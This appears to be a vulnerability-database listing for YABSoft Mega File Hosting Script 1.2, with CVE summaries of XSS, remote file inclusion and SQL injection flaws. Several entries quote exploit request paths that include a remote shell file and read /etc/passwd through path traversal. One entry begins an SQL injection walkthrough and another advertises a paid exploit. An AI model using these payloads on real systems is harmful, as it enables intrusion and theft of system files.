EUVD-2009-3622

Malware in sbrugna...

EUVD-2008-2516

Malware in sbrugna...

EUVD-2009-0963

Malware in sbrugna...

Mega File Hosting Script v1.x Remote Command Execution

vuln alow to attacker to execute evil code This is private exploit. You can buy it at https://0day.today...

Cross site scripting

Cross-site scripting XSS vulnerability in emaullinks.php in YABSoft Mega File Hosting Script aka MFH or MFHS 1.2 allows remote attackers to inject arbitrary web script or HTML via the moudi parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third...

CVE-2009-3647

Cross-site scripting XSS vulnerability in emaullinks.php in YABSoft Mega File Hosting Script aka MFH or MFHS 1.2 allows remote attackers to inject arbitrary web script or HTML via the moudi parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third...

CVE-2009-3647

CVE-2009-3647 describes a cross-site scripting (XSS) vulnerability in the YABSoft Mega File Hosting Script (MFH/MFHS) 1.2, where an attacker can inject arbitrary web script or HTML via the moudi parameter in emaullinks.php. The evidence in connected sources confirms the affected component and the...

CVE-2009-0966

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

Remote file inclusion

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

CVE-2009-0966

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

CVE-2009-0966

Affected product/variant: YABSoft Mega File Hosting 1.2 (cross.php). Vulnerability: PHP remote file inclusion via the url parameter in cross.php, enabling execution of arbitrary PHP code. NOTE: can also include and execute arbitrary local files using .. sequences. Impact (as documented): arbitrar...

Mega File Hosting Script 1.2 (cross.php url) RFI Vulnerability

No description provided by source. Mega File Hosting || Remote/Local File inclusion For All Version Just addition This Exploit and enjoy /cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 Author Garry /// 25/02/2009 Www.Hacking.ge...

Mega File Hosting Script 1.2 (cross.php url) RFI Vulnerability

Exploit for unknown platform in category web applications ============================================================== Mega File Hosting Script 1.2 cross.php url RFI Vulnerability ============================================================== Mega File Hosting || Remote/Local File inclusion For...

Mega File Hosting Script 1.2 - url Remote File Inclusion

Mega File Hosting Script 1.2 - url Remote File Inclusion Mega File Hosting || Remote/Local File inclusion For All Version Just addition This Exploit and enjoy /cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 Author Garry /// 25/02/2009 Www.Hacking.ge...

Mega File Hosting Script 1.2 - 'url' Remote File Inclusion

Mega File Hosting || Remote/Local File inclusion For All Version Just addition This Exploit and enjoy /cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 Author Garry /// 25/02/2009 Www.Hacking.ge milw0rm.com 2009-03-17...

CVE-2008-2521

SQL injection vulnerability in members.php in YABSoft Mega File Hosting Script aka MFH or MFHS 1.2 allows remote authenticated users to execute arbitrary SQL commands via the fid parameter...

Sql injection

SQL injection vulnerability in members.php in YABSoft Mega File Hosting Script aka MFH or MFHS 1.2 allows remote authenticated users to execute arbitrary SQL commands via the fid parameter...

CVE-2008-2521

The CVE describes a SQL injection in the YABSoft Mega File Hosting Script (MFH/MFHS) version 1.2, specifically in members.php, where the fid parameter can be manipulated by remote authenticated users to execute arbitrary SQL commands. The entry is supported by multiple sources (NVD, CVE lists, an...

CVE-2008-2521

SQL injection vulnerability in members.php in YABSoft Mega File Hosting Script aka MFH or MFHS 1.2 allows remote authenticated users to execute arbitrary SQL commands via the fid parameter...

Mega File Hosting Script 1.2 (fid) Remote SQL Injection Vulnerability

No description provided by source. Script: Mega File Hosting script Type: SQL Injection 1923TURK.ORG TURKiSHWARRiORR Step 1: Register an account Step 2: login and go to /members.php?folders=1 Step 3: Create a folder with any name Exploitation options: ADIM 1:...